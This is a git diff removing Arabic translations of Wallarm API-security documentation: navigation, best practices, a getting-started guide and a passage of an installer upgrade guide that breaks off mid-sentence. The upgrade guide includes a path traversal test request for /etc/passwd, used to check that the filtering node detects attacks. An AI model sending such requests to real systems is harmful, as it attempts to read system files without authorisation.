الصالحة](../admin-en/configuration-guides/handling-invalid-headers.md) - تكوين السلوك لرؤوس HTTP غير الصالحة - * [بصمة JA3](../admin-en/enabling-ja3.md) - تمكين بصمة TLS لتعزيز الأمان - * [موفر Terraform](../admin-en/managing/terraform-provider.md) - إدارة البنية التحتية لـ Wallarm كرمز - -* **المراقبة والمقاييس** - * [خدمة الإحصائيات](../admin-en/configure-statistics-service.md) - تكوين جمع الإحصائيات - * [سجل العُقدة](../admin-en/configure-logging.md) - تكوين مستويات السجل والإخراج - * [تكوين الفشل الاحتياطي](../admin-en/configure-backup-en.md) - إعداد آليات الفشل الاحتياطي - * [فحص الصحة](../admin-en/uat-checklist-en.md) - التحقق من صحة العقدة ووظائفها - -* **الترقيات والترحيل** - * [سياسة الإصدارات](../updating-migrating/versioning-policy.md) - فهم إصدارات Wallarm ودورة حياة الدعم - * [التوصيات العامة](../updating-migrating/general-recommendations.md) - أفضل الممارسات للترقيات - * [ما الجديد](../updating-migrating/what-is-new.md) - التغييرات الرئيسية ودليل الترحيل للإصدارات الجديدة - * **سجلات التغيير** - * [سجل تغيير عقدة NGINX](../updating-migrating/node-artifact-versions.md) - ملاحظات الإصدار للعقد المستندة إلى NGINX - * [سجل تغيير العقدة الأصلية](../updating-migrating/native-node/node-artifact-versions.md) - ملاحظات الإصدار للعقد الأصلية - * [حزمة رمز الموصل](../installation/connectors/code-bundle-inventory.md) - ملاحظات إصدار الموصل - * **ترقيات عقدة NGINX** - * [حزم DEB/RPM](../updating-migrating/nginx-modules.md) - * [وحدة Postanalytics](../updating-migrating/separate-postanalytics.md) - * [مثبت الكل في واحد](../updating-migrating/all-in-one.md) - * [صورة Docker](../updating-migrating/docker-container.md) - * [وحدة تحكم Ingress](../updating-migrating/ingress-controller.md) - * [إيقاف وحدة تحكم Ingress](../updating-migrating/nginx-ingress-retirement.md) - * [وكيل Sidecar](../updating-migrating/sidecar-proxy.md) - * [صورة السحابة](../updating-migrating/cloud-image.md) - * [العقدة متعددة المستأجرين](../updating-migrating/multi-tenant.md) - * **ترقيات العقدة الأصلية** - * [مثبت الكل في واحد](../updating-migrating/native-node/all-in-one.md) - * [مخطط Helm](../updating-migrating/native-node/helm-chart.md) - * [صورة Docker](../updating-migrating/native-node/docker-image.md) - -* **العمليات** - * [تعلم حجم الطلبات](../admin-en/operation/learn-incoming-request-number.md) - تحديد حجم طلبات API للفوترة وتخطيط السعة - * [عناوين IP للماسح الضوئي](../admin-en/scanner-addresses.md) - عناوين IP لماسح Wallarm لقائمة السماح - -* **استكشاف الأخطاء وإصلاحها** - * [نظرة عامة](../troubleshooting/overview.md) - إرشادات عامة لاستكشاف الأخطاء وإصلاحها - * [الكشف والحظر](../troubleshooting/detection-and-blocking.md) - استكشاف مشاكل كشف الهجمات وإصلاحها - * [أدوات الكشف](../troubleshooting/detection-tools-tuning.md) - ضبط آليات الكشف بدقة - * [الأداء](../troubleshooting/performance.md) - معالجة مشاكل الأداء - * [IP العميل الحقيقي](../admin-en/using-proxy-or-balancer-en.md) - تكوين اكتشاف IP العميل الصحيح - * [مشاكل المستخدم النهائي](../faq/common-errors-after-installation.md) - الأخطاء الشائعة بعد التثبيت - * [وحدة تحكم Wallarm Ingress](../faq/ingress-installation.md) - المشاكل الخاصة بـ Ingress - * [Wallarm Cloud معطل](../faq/wallarm-cloud-down.md) - التعامل مع عدم توفر السحابة - * [تنبيهات لوحة معلومات OWASP](../faq/node-issues-on-owasp-dashboards.md) - حل تنبيهات لوحة المعلومات - * [سجل أخطاء NGINX](../troubleshooting/wallarm-issues-in-nginx-error-log.md) - تفسير رسائل أخطاء NGINX - * [DNS الديناميكي في NGINX](../admin-en/configure-dynamic-dns-resolution-nginx.md) - تكوين حل DNS الديناميكي diff --git a/docs/latest-ar/news.md b/docs/latest-ar/news.md deleted file mode 100644 index 5426947268..0000000000 --- a/docs/latest-ar/news.md +++ /dev/null @@ -1,16 +0,0 @@ -# سجل التغييرات والأخبار - -
      - - - \ No newline at end of file diff --git a/docs/latest-ar/quickstart/attack-prevention-best-practices.md b/docs/latest-ar/quickstart/attack-prevention-best-practices.md deleted file mode 100644 index f58671ac36..0000000000 --- a/docs/latest-ar/quickstart/attack-prevention-best-practices.md +++ /dev/null @@ -1,71 +0,0 @@ -# أفضل الممارسات للوقاية من الهجمات مع Wallarm - -ستُريك هذه المقالة كيفية استخدام Wallarm، منصة فريدة تشبه وجود حارسين في واحدة، للوقاية من الهجمات. لا تقتصر على حماية المواقع الإلكترونية مثل الأدوات الأخرى (المعروفة ب WAAP)، بل تحمي بشكل خاص واجهات برمجة تطبيقات نظامك، مضمنة أن جميع الأجزاء التقنية من مساحتك على الإنترنت آمنة. - -مع العديد من التهديدات التي لدينا على الإنترنت، من الضروري أن يكون لديك درع قوي. يمكن لـ Wallarm إيقاف التهديدات الشائعة مثل حقن SQL والسكريبت العابر للمواقع وتنفيذ الكود عن بعد والتنقل في المسار بمفرده. ولكن قد تكون هناك حاجة إلى بعض التعديلات لبعض الأخطار المتخفية وحالات استخدام متخصصة مثل الحماية ضد هجمات DoS واستيلاء الحساب وإساءة استخدام API. سنقودكم خلال تلك الخطوات لضمان حصولكم على أفضل حماية ممكنة. سواء كنت خبير أمان مخضرمًا أو بدأت للتو رحلتك في الأمان السيبراني، ستوفر لك هذه المقالة رؤى قيمة لتعزيز استراتيجيتك الأمنية. - -## إدارة تطبيقات متعددة ومستأجرين - -إذا كانت مؤسستك تستخدم تطبيقات متعددة أو مستأجرين منفصلين، ستجد منصة Wallarm مفيدة للإدارة السهلة. تتيح لك مشاهدة الأحداث والإحصائيات بشكل منفصل [لكل تطبيق](../user-guides/settings/applications.md) وتكوين مشغلات أو قواعد محددة لكل تطبيق. إذا كنت بحاجة، يمكنك إنشاء بيئة معزولة [لكل مستأجر](../installation/multi-tenant/overview.md) مع تحكم بالوصول منفصل. - -## إقامة منطقة ثقة - -عند تقديم تدابير أمان جديدة، يجب أن تظل العملية دون انقطاع لتطبيقات الأعمال الحيوية أولوية قصوى. لضمان عدم تجهيز الموارد الموثوق بها بشكل غير ضروري بواسطة منصة Wallarm، لديك الخيار لتخصيصها إلى [قائمة السماح بالـ IP](../user-guides/ip-lists/overview.md). - -الحركة الصادرة من الموارد المدرجة في القائمة البيضاء لا يتم تحليلها أو تسجيلها افتراضيًا. وهذا يعني أن البيانات من الطلبات التي تم تجاوزها لن تكون متاحة للمراجعة. لذا يجب استخدامها بحذر. - -للعناوين التي تتطلب حركة مرور غير مقيدة أو التي ترغب في إجراء رقابة يدوية لها، ضع في اعتبارك [تعيين وضع المراقبة لعقدة Wallarm](../admin-en/configure-wallarm-mode.md). هذا سيقوم بالتقاط وتسجيل أي أنشطة ضارة تستهدف هذه العناوين. يمكنك بعد ذلك مراجعة هذه الأحداث من خلال واجهة مستخدم Wallarm Console، ومراقبة الشذوذ وإذا لزم الأمر، اتخاذ إجراءات يدوية مثل حظر IP محدد. - -## التحكم في أوضاع تصفية الحركة ومعالجة الاستثناءات - -طبق تدابير الأمان تدريجيًا باستخدام خياراتنا المرنة لإدارة [أوضاع التصفية](../admin-en/configure-wallarm-mode.md) وتخصيص المعالجة لتناسب تطبيقاتك. على سبيل المثال، قم بتمكين وضع المراقبة لعقد محددة، تطبيقات، أو أجزاء من تطبيق. - -إذا لزم الأمر، [استثني مكتشفات](../about-wallarm/protecting-against-attacks.md#ignoring-certain-attack-types) مصممة لعناصر طلب محددة. - -## إعداد القائمة السوداء - -يمكنك حماية تطبيقاتك من المصادر غير الموثوق بها عن طريق دمجها في [قائمة رفض](../user-guides/ip-lists/overview.md)، مما يحجب حركة المرور من المناطق أو المصادر المشبوهة كالشبكات الافتراضية الخاصة، خوادم الوكيل، أو شبكات Tor. - -## حظر مرتكبي الهجوم المتعدد - -عندما يكون Wallarm في وضع الحجب، يحجب تلقائيًا جميع الطلبات التي تحتوي على بيانات ضارة، مما يسمح فقط بالطلبات المشروعة بالمرور. إذا تم اكتشاف أنشطة ضارة متعددة من عنوان IP واحد في فترة قصيرة (غالبًا ما يشار إليها باسم مرتكبي الهجوم المتعدد)، ضع في اعتبارك [حظر المهاجم بالكامل](../admin-en/configuration-guides/protecting-with-thresholds.md). - -## تمكين التخفيف من هجمات القوة الغاشمة - -قلل من هجمات القوة الغاشمة عن طريق تحديد عدد محاولات الوصول إلى صفحات المصادقة أو نماذج إعادة تعيين كلمة المرور من عنوان IP واحد. يمكنك القيام بذلك من خلال تكوين [مشغل معين](../admin-en/configuration-guides/protecting-against-bruteforce.md). - -## تمكين التخفيف من التصفح القسري - -التصفح القسري هو هجوم حيث يحاول المهاجم إيجاد واستخدام الموارد المخفية، مثل الدلائل والملفات التي تحتوي على معلومات حول التطبيق. يمكن أن تعطي هذه الملفات المخفية المهاجمين معلومات يمكنهم استخدامها لشن أنواع أخرى من الهجمات. يمكنك منع مثل هذه الأنشطة الضارة عن طريق تحديد حدود لمحاولات غير ناجحة للوصول إلى موارد محددة عبر [مشغل معين](../admin-en/configuration-guides/protecting-against-bruteforce.md). - -## تحديد الحدود النسبية - -بدون حد مناسب لعدد المرات التي يمكن فيها استخدام واجهات البرمجة التطبيقية، يمكن أن تتعرض لهجمات تثقل النظام مثل هجمات DoS والقوة الغاشمة، أو إساءة استخدام API. من خلال استخدام قاعدة [**تحديد الحد النسبي**](../user-guides/rules/rate-limiting.md)، يمكنك تحديد الحد الأقصى لعدد الاتصالات التي يمكن إجراؤها بنطاق معين، مع التأكد أيضًا من توزيع الطلبات الواردة بالتساوي. - -## تفعيل حماية BOLA - -تتيح ثغرة التفويض على مستوى الكائن المعطوب (BOLA) للمهاجم الوصول إلى كائن عن طريق معرفه عبر طلب واجهة برمجة التطبيقات وإما قراءة بياناته أو تعديلها متجاوزًا آلية التفويض. لمنع هجمات BOLA، يمكنك إما تحديد نقاط النهاية الضعيفة يدويًا وتعيين حدود الاتصالات بها، أو تفعيل Wallarm لتحديد وحماية نقاط النهاية الضعيفة تلقائيًا. [تعلم المزيد](../admin-en/configuration-guides/protecting-against-bola.md) - -## استخدام منع إساءة استخدام API - -[قم بإعداد ملفات التعريف لمنع إساءة استخدام API](../api-abuse-prevention/setup.md) لإيقاف وحظر البوتات التي تقوم بإساءة استخدام API مثل استيلاء الحساب، الكشط، الزواحف الأمنية وغيرها من الأعمال الضارة الآلية الموجهة ضد واجهات برمجة التطبيقات الخاصة بك - -## تمكين كشف استخدام بيانات اعتماد ضعيفة - -قم بتمكين [كشف استخدام بيانات اعتماد ضعيفة](../about-wallarm/credential-stuffing.md) للحصول على معلومات في الوقت الحقيقي حول محاولات استخدام بيانات اعتماد مخترقة أو ضعيفة للوصول إلى تطبيقاتك وقائمة قابلة للتحميل بجميع بيانات الاعتماد المخترقة أو الضعيفة التي توفر الوصول إلى تطبيقاتك. - -معرفة الحسابات ذات كلمات المرور المسروقة أو الضعيفة يتيح لك اتخاذ تدابير لتأمين بيانات هذه الحسابات، مثل التواصل مع أصحاب الحسابات، تعليق الوصول إلى الحسابات مؤقتًا، وما إلى ذلك. - -## إنشاء قواعد كشف الهجمات المخصصة - -في سيناريوهات معينة، قد يكون من المفيد إضافة [توقيع كشف الهجمات أو إنشاء تصحيح افتراضي](../user-guides/rules/regex-rule.md) يدويًا. Wallarm، على الرغم من عدم الاعتماد على التعبيرات النمطية لكشف الهجمات، يسمح للمستخدمين بتضمين توقيعات إضافية استنادًا إلى التعبيرات النمطية. - -## تمويه البيانات الحساسة - -يُرسل عقدة Wallarm معلومات الهجوم إلى سحابة Wallarm. يجب أن تظل بعض البيانات، مثل التفويض (ملفات تعريف الارتباط، الرموز، كلمات المرور)، البيانات الشخصية، وبيانات بطاقة الدفع، ضمن الخادم حيث يتم معالجتها. [أنشئ قاعدة قناع البيانات](../user-guides/rules/sensitive-data-rule.md) لقطع القيمة الأصلية لنقاط طلب محددة قبل إرسالها إلى سحابة Wallarm، مما يضمن بقاء البيانات الحساسة ضمن بيئتك الموثوق بها. - -## دمج سلس مع أنظمة SIEM/SOAR وإشعارات فورية للأحداث الحرجة - -يوفر Wallarm دمجًا سلسًا مع [أنظمة SIEM/SOAR](../user-guides/settings/integrations/integrations-intro.md) مثل Sumo Logic، Splunk وغيرها مما يتيح لك تصدير جميع معلومات الهجوم إلى مركز SOC الخاص بك للإدارة المركزية بسهولة. - -يوفر دمج Wallarm مع وظيفة [المشغلات](../user-guides/triggers/triggers.md) أداة رائعة لإعداد الت \ No newline at end of file diff --git a/docs/latest-ar/quickstart/getting-started.md b/docs/latest-ar/quickstart/getting-started.md deleted file mode 100644 index 488d819e64..0000000000 --- a/docs/latest-ar/quickstart/getting-started.md +++ /dev/null @@ -1,50 +0,0 @@ -# البدء باستخدام منصة Wallarm - -توفر Wallarm حماية شاملة لواجهات برمجة التطبيقات، مُحددةً ومحميةً واجهات برمجة التطبيقات الخاصة بك من الثغرات والأنشطة الخبيثة. لمساعدتك على البدء باستخدام المنصة، نقدم لك مساحة تجريبية للاستكشاف قبل التسجيل، وطبقة مجانية عند التسجيل، والوصول إلى الدعم من الخبراء لتجربة سلسة. - -## تعلم Wallarm في المساحة التجريبية - -لاستكشاف Wallarm حتى قبل التسجيل ونشر أي مكونات في بيئتك، استخدم [مساحة Wallarm التجريبية](https://tour.playground.wallarm.com/?utm_source=wallarm_docs_quickstart). - -في المساحة التجريبية، يمكنك الوصول إلى واجهة استخدام Wallarm Console كما لو كانت معبأة ببيانات فعلية. واجهة استخدام Wallarm Console هي المكون الرئيسي لمنصة Wallarm الذي يعرض بيانات عن الحركة المعالجة ويسمح بتنعيم المنصة. لذا، مع المساحة التجريبية، يمكنك تعلم وتجربة كيفية عمل المنتج، والحصول على بعض الأمثلة المفيدة لاستخدامه في وضع القراءة فقط. - -![مساحة تجريبية](../images/playground.png) - -لتجربة قدرات حلول Wallarm على حركتك، [أنشئ حسابًا بالطبقة المجانية](#self-signup-and-free-tier). - -## التسجيل الذاتي والطبقة المجانية - -عند التسجيل في Wallarm، ستقوم بإنشاء حساب في واجهة استخدام Wallarm Console، والذي يُعتبر المركز الرئيسي للتنقل وتكوين منصة Wallarm. واجهة الاستخدام مستضافة على [سحابة Wallarm](../about-wallarm/overview.md#cloud). - -تدير Wallarm نُسخ سحابة أمريكية وأوروبية منفصلة، كل منها متميز من حيث قواعد البيانات، نقاط نهاية واجهة برمجة التطبيقات، حسابات العملاء، والمزيد. لذلك، خطوتك الأولى هي اختيار السحابة التي تريد استخدامها. - -1. اختر سحابتك Wallarm: - - || سحابة الولايات المتحدة | سحابة الاتحاد الأوروبي | - | -- | -------- | -------- | - | **رابط التسجيل** | https://us1.my.wallarm.com/signup | https://my.wallarm.com/signup | - | **الموقع الجغرافي** | الولايات المتحدة | هولندا | - | **رابط واجهة استخدام Wallarm** | https://us1.my.wallarm.com/ | https://my.wallarm.com/ | - | **نقطة نهاية واجهة برمجة التطبيقات لـ Wallarm** | `https://us1.api.wallarm.com/` | `https://api.wallarm.com/` | -1. تابع رابط التسجيل إما في [السحابة الأمريكية](https://us1.my.wallarm.com/signup) أو [السحابة الأوروبية](https://my.wallarm.com/signup) وأدخل بياناتك الشخصية. -1. أكد حسابك من خلال اتباع الرابط من رسالة التأكيد المرسلة إلى بريدك الإلكتروني. - -بمجرد تسجيل الحساب وتأكيده، يتم تخصيصه تلقائيًا مع **الطبقة المجانية** أو **التجربة المجانية** بناءً على السحابة المستخدمة. - -في السحابة الأمريكية، تتيح الطبقة المجانية لك استكشاف قوة حل Wallarm مجانًا على 500 ألف طلب شهريًا. - -في السحابة الأوروبية، يوجد فترة تجربة تتيح لك استكشاف حل Wallarm مجانًا لمدة 14 يومًا. - -تابع بنشر [أول عقدة تصفية Wallarm](#start-securing-your-traffic). - -## التجربة بمساعدة - -يمكنك الاختيار للحصول على تجربة بمساعدة حيث سيساعدك فريق مهندسي المبيعات خلال عملية التوجيه بأكملها. سيعرضون قيمة المنتج على مدار فترة أسبوعين ويساعدونك في نشر نماذج تصفية Wallarm لتصفية حركة مرورك. - -لطلب هذه التجربة، يرجى مراسلتنا عبر البريد الإلكتروني على [sales@wallarm.com](mailto:sales@wallarm.com?subject=Request%20for%20a%20Guided%20Wallarm%20Trial&body=Hello%20Wallarm%20Sales%20Engineer%20Team%2C%0A%0AI'm%20writing%20to%20request%20a%20guided%20Wallarm%20trial.%20I%20would%20be%20happy%20to%20schedule%20a%20call%20with%20you%20to%20discuss%20my%20requirements%20in%20detail.%0A%0AThank%20you%20for%20your%20time%20and%20assistance.). - -## ابدأ في حماية حركة المرور الخاصة بك - -بعد إنشاء حسابك في Wallarm، الخطوة التالية هي بدء عملية نشر [عقدة تصفية Wallarm](../about-wallarm/overview.md#filtering-node). هذا المكون الأساسي يتعامل مع حركة المرور الواردة ويصفيها، مما يتيح قدرات تحليل حركة المرور لـ Wallarm، ومنع الهجمات، واكتشاف الثغرات. - -[اختر خيار نشر عقدة Wallarm](../installation/supported-deployment-options.md) \ No newline at end of file diff --git a/docs/latest-ar/reference/comparing-wallarm-to-other-solutions.md b/docs/latest-ar/reference/comparing-wallarm-to-other-solutions.md deleted file mode 100644 index 1b77180b1d..0000000000 --- a/docs/latest-ar/reference/comparing-wallarm-to-other-solutions.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/reference/comparing-wallarm-to-other-solutions.md" diff --git a/docs/latest-ar/sla.md b/docs/latest-ar/sla.md deleted file mode 100644 index 85288adf35..0000000000 --- a/docs/latest-ar/sla.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/sla.md" \ No newline at end of file diff --git a/docs/latest-ar/technical-best-practices-for-future.md b/docs/latest-ar/technical-best-practices-for-future.md deleted file mode 100644 index a536c2499f..0000000000 --- a/docs/latest-ar/technical-best-practices-for-future.md +++ /dev/null @@ -1,33 +0,0 @@ -# أفضل الممارسات لنشر وصيانة حل Wallarm - -تصيغ هذه المقالة أفضل الممارسات لنشر وصيانة حل Wallarm. - - -## نشر عقد التصفية ليس فقط في بيئة الإنتاج بل أيضًا في الاختبار والمرحلة التمهيدية - أفضل الممارسات التقنية - -معظم عقود خدمة Wallarm لا تحد من عدد عقد Wallarm التي يمكن للعميل نشرها، لذلك لا يوجد سبب لعدم نشر عقد التصفية في جميع البيئات الخاصة بك، بما في ذلك التطوير، الاختبار، المرحلة التمهيدية، إلخ. - -من خلال نشر واستخدام عقد التصفية في جميع مراحل أنشطة تطوير البرمجيات و/أو تشغيل الخدمة لديك فرصة أفضل لاختبار تدفق البيانات بالكامل بشكل صحيح وتقليل خطر أية حالات غير متوقعة في بيئة الإنتاج الحرجة الخاصة بك. - -## تكوين التقارير الصحيحة لعناوين IP الخاصة بالمستخدم النهائي - أفضل الممارسات التقنية،ويجب أن تكون الإشارة إلى هذا موجودة في كل تعليمات النشر - -لعقد التصفية Wallarm الموجودة خلف موازن الحمل أو CDN الرجاء التأكد من تكوين عقد التصفية لديك لتقرير عناوين IP للمستخدم النهائي بشكل صحيح (وإلا [وظيفة قائمة IP](user-guides/ip-lists/overview.md)، [التحقق من التهديدات النشطة](detecting-vulnerabilities.md#active-threat-verification)، وبعض الميزات الأخرى لن تعمل): - -* [تعليمات لعقد Wallarm المستندة إلى NGINX](../admin-en/using-proxy-or-balancer-en.md) (بما في ذلك صور AWS / GCP وحاوية عقدة Docker) -* [التعليمات لعقد التصفية المنشورة كمتحكم دخول Kubernetes الخاص بـWallarm](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/report-public-user-ip.md) - -## تمكين الرصد الصحيح لعقد التصفية - نقل كما في تعليمات الرصد،وكذلك في أفضل الممارسات التقنية - -يُنصح بشدة بتمكين الرصد الصحيح لعقد التصفية Wallarm. - -طريقة إعداد رصد عقد التصفية تعتمد على خيار النشر: - -* [التعليمات لعقد التصفية المنشورة كمتحكم دخول Kubernetes الخاص بـWallarm](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/ingress-controller-monitoring.md) -* [التعليمات لصورة Docker المستندة إلى NGINX](../admin-en/installation-docker-en.md#monitoring-configuration) - -## تنفيذ الاحتياط اللائق ووظيفة التبديل التلقائي عند الفشل - -مثل كل مكون حرج آخر في بيئة الإنتاج الخاصة بك، يجب أن تكون عقد Wallarm معماريًا ومنشورًا ومُشغلًا بمستوى الاحتياط اللائق ووظيفة التبديل التلقائي عند الفشل. يجب أن يكون لديك **على الأقل عقدتي تصفية Wallarm نشطتين** تتعاملان مع طلبات المستخدمين النهائيين الحرجة. توفر المقالات التالية معلومات ذات صلة حول الموضوع: - -* [تعليمات لعقد Wallarm المستندة إلى NGINX](../admin-en/configure-backup-en.md) (بما في ذلك صور AWS / GCP وحاوية عقدة Docker وsidecars Kubernetes) -* [التعليمات لعقد التصفية المنشورة كمتحكم دخول Kubernetes الخاص بـWallarm](../admin-en/configuration-guides/wallarm-ingress-controller/best-practices/high-availability-considerations.md) \ No newline at end of file diff --git a/docs/latest-ar/troubleshooting/detection-and-blocking.md b/docs/latest-ar/troubleshooting/detection-and-blocking.md deleted file mode 100644 index f01beda46c..0000000000 --- a/docs/latest-ar/troubleshooting/detection-and-blocking.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-and-blocking.md" \ No newline at end of file diff --git a/docs/latest-ar/troubleshooting/detection-tools-tuning.md b/docs/latest-ar/troubleshooting/detection-tools-tuning.md deleted file mode 100644 index 65dc325614..0000000000 --- a/docs/latest-ar/troubleshooting/detection-tools-tuning.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/detection-tools-tuning.md" \ No newline at end of file diff --git a/docs/latest-ar/troubleshooting/overview.md b/docs/latest-ar/troubleshooting/overview.md deleted file mode 100644 index 502e7abcda..0000000000 --- a/docs/latest-ar/troubleshooting/overview.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/overview.md" \ No newline at end of file diff --git a/docs/latest-ar/troubleshooting/performance.md b/docs/latest-ar/troubleshooting/performance.md deleted file mode 100644 index 4429ae3107..0000000000 --- a/docs/latest-ar/troubleshooting/performance.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/performance.md" \ No newline at end of file diff --git a/docs/latest-ar/troubleshooting/wallarm-issues-in-nginx-error-log.md b/docs/latest-ar/troubleshooting/wallarm-issues-in-nginx-error-log.md deleted file mode 100644 index bb2e061736..0000000000 --- a/docs/latest-ar/troubleshooting/wallarm-issues-in-nginx-error-log.md +++ /dev/null @@ -1 +0,0 @@ ---8<-- "latest/troubleshooting/wallarm-issues-in-nginx-error-log.md" \ No newline at end of file diff --git a/docs/latest-ar/updating-migrating/all-in-one.md b/docs/latest-ar/updating-migrating/all-in-one.md deleted file mode 100644 index 4dc7df8260..0000000000 --- a/docs/latest-ar/updating-migrating/all-in-one.md +++ /dev/null @@ -1,171 +0,0 @@ -[خدمة-الإحصاءات-كل-المعايير]: ../admin-en/configure-statistics-service.md -[صورة-الهجمات-في-الواجهة]: ../images/admin-guides/test-attacks-quickstart.png -[حالة-تارانتول]: ../images/tarantool-status.png -[تعليمات-ضبط-البروكسي-الموازن]: ../admin-en/configuration-guides/access-to-wallarm-api-via-proxy.md -[وثائق-الهجوم-بمسار-الارتداد]: ../attacks-vulns-list.md#path-traversal - -# ترقية عقدة Wallarm باستخدام مثبت All-in-One - -تصف هذه التعليمات الخطوات لترقية عقدة Wallarm 4.x المثبتة باستخدام [مثبت الكل في واحد] (../installation/nginx/all-in-one.md) إلى الإصدار 4.10. - -## المتطلبات - ---8<-- "../include/waf/installation/all-in-one-upgrade-requirements.md" - -## إجراء الترقية - -إجراء الترقية يختلف حسب طريقة تثبيت وحدات العقدة التصفية وpostanalytics: - -* [على نفس الخادم](#filtering-node-and-postanalytics-on-the-same-server): الوحدات تتم ترقيتها جميعًا -* [على خوادم مختلفة](#filtering-node-and-postanalytics-on-different-servers): **أولاً** قم بترقية وحدة postanalytics و**بعد ذلك** وحدة التصفية. - -## العقدة التصفية وpostanalytics على نفس الخادم - -استخدم الإجراء أدناه لترقية وحدات العقدة التصفية وpostanalytics المثبتة باستخدام مثبت الكل في واحد على نفس الخادم. - -### الخطوة 1: إعداد رمز Wallarm Token - -لترقية العقدة، ستحتاج إلى رمزWallarm من [أحد الأنواع](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation). لإعداد الرمز: - -=== "رمز API" - 1. افتح واجهة المستخدم الرسومية لـ Wallarm Console → **الإعدادات** → **رموز API** في [سحابة US](https://us1.my.wallarm.com/settings/api-tokens) أو [سحابة EU](https://my.wallarm.com/settings/api-tokens). - 1. ابحث عن رمز API أو قم بإنشاء واحد مع دور المصدر 'Deploy'. - 1. انسخ هذا الرمز. - -=== "الرمز الخاص بالعقدة" - للترقية، استخدم نفس رمز العقدة الذي تم استخدامه للتثبيت: - - 1. افتح واجهة المستخدم الرسومية لـ Wallarm Console → **العُقد** في [سحابة US](https://us1.my.wallarm.com/nodes) أو [سحابة EU](https://my.wallarm.com/nodes). - 1. في مجموعتك الخاصة بالعقدة الحالية، انسخ الرمز باستخدام القائمة التي تظهر بجانب العقدة→ **نسخ الرمز**. - -### الخطوة 2: تنزيل أحدث إصدار من مركب Wallarm All-in-One - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 3: تشغيل مركب Wallarm All-in-One - -قم بتشغيل السكربت الذي تم تنزيله: - -=== "رمز API" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f - - # إذا كنت تستخدم الإصدار ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f - ``` -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f - ``` - -* `` تضبط اسم المجموعة التي ستضاف إليها العقدة (يستخدم لتجميع العقدات من الناحية المنطقية في واجهة المستخدم الرسومية لـ Wallarm Console). يطبق فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز الذي تم نسخه. -* `` هي سحابة Wallarm التي ستتم فيها تسجيل العقدة الجديدة. يمكن أن تكون إما `US` أو `EU`. - -### الخطوة 4: أعد تشغيل NGINX - ---8<-- "../include/waf/installation/restart-nginx-systemctl.md" - -### الخطوة 5: اختبر عملية العقدة Wallarm - -لاختبار عملية العقدة الجديدة: - -1. أرسل الطلب مع طريقة اختبار الهجوم [Path Traversal][وثائق-الهجوم-بمسار-الارتداد] إلى عنوان المورد المحمي: - - ``` - curl http://localhost/etc/passwd - ``` - -1. افتح واجهة المستخدم الرسومية لـ Wallarm Console → القسم **الهجمات** في [سحابة US](https://us1.my.wallarm.com/attacks) أو [سحابة EU](https://my.wallarm.com/attacks) وتأكد من عرض الهجمات في القائمة. -1. بمجرد أن يتم مزامنة بيانات السحابة المخزنة (القواعد، قائمة IP) إلى العقدة الجديدة، قم ببعض الهجمات الاختبارية للتأكد من أن القواعد الخاصة بك تعمل كما هو متوقع. - -## العقدة التصفية وpostanalytics على خوادم مختلفة - -!!! تحذير "تسلسل الخطوات لترقية العقدة التصفية ووحدات postanalytics" - إذا كانت العقدة التصفية ووحدات postanalytics مثبتة على خوادم مختلفة، فمن الضروري ترقية حزم postanalytics قبل تحديث حزم العقدة التصفية. - -### الخطوة 1: إعداد رمز Wallarm Token - -لترقية العقدة، ستحتاج إلى رمزWallarm من [أحد الأنواع](../user-guides/nodes/nodes.md#api-and-node-tokens-for-node-creation). لإعداد الرمز: - -=== "رمز API" - 1. افتح واجهة المستخدم الرسومية لـ Wallarm Console → **الإعدادات** → **رموز API** في [سحابة US](https://us1.my.wallarm.com/settings/api-tokens) أو [سحابة EU](https://my.wallarm.com/settings/api-tokens). - 1. ابحث عن رمز API أو قم بإنشاء واحد مع دور المصدر 'Deploy'. - 1. انسخ هذا الرمز. - -=== "الرمز الخاص بالعقدة" - للترقية، استخدم نفس رمز العقدة الذي تم استخدامه للتثبيت: - - 1. افتح واجهة المستخدم الرسومية لـ Wallarm Console → **العُقد** في [سحابة US](https://us1.my.wallarm.com/nodes) أو [سحابة EU](https://my.wallarm.com/nodes). - 1. في مجموعتك الخاصة بالعقدة الحالية، انسخ الرمز باستخدام القائمة التي تظهر بجانب العقدة→ **نسخ الرمز**. - -### الخطوة 2: تنزيل أحدث إصدار من مركب Wallarm All-in-One لجهاز postanalytics - -يتم هذا الإجراء على جهاز postanalytics. - ---8<-- "../include/waf/installation/all-in-one-installer-download.md" - -### الخطوة 3: تشغيل مركب Wallarm All-in-One لترقية postanalytics - -يتم هذا الإجراء على جهاز postanalytics. - -=== "رمز API" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f postanalytics - - # إذا كنت تستخدم الإصدار ARM64: - sudo env WALLARM_LABELS='group=' sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f postanalytics - ``` -=== "رمز العقدة" - ```bash - # إذا كنت تستخدم الإصدار x86_64: - sudo sh wallarm-4.10.2.x86_64-glibc.sh -- --batch -t -c -f postanalytics - - # إذا كنت تستخدم الإصدار ARM64: - sudo sh wallarm-4.10.2.aarch64-glibc.sh -- --batch -t -c -f postanalytics - ``` - -* `` تضبط اسم المجموعة التي ستضاف إليها العقدة (يستخدم لتجميع العقدات من الناحية المنطقية في واجهة المستخدم الرسومية لـ Wallarm Console). يطبق فقط إذا كنت تستخدم رمز API. -* `` هو قيمة الرمز 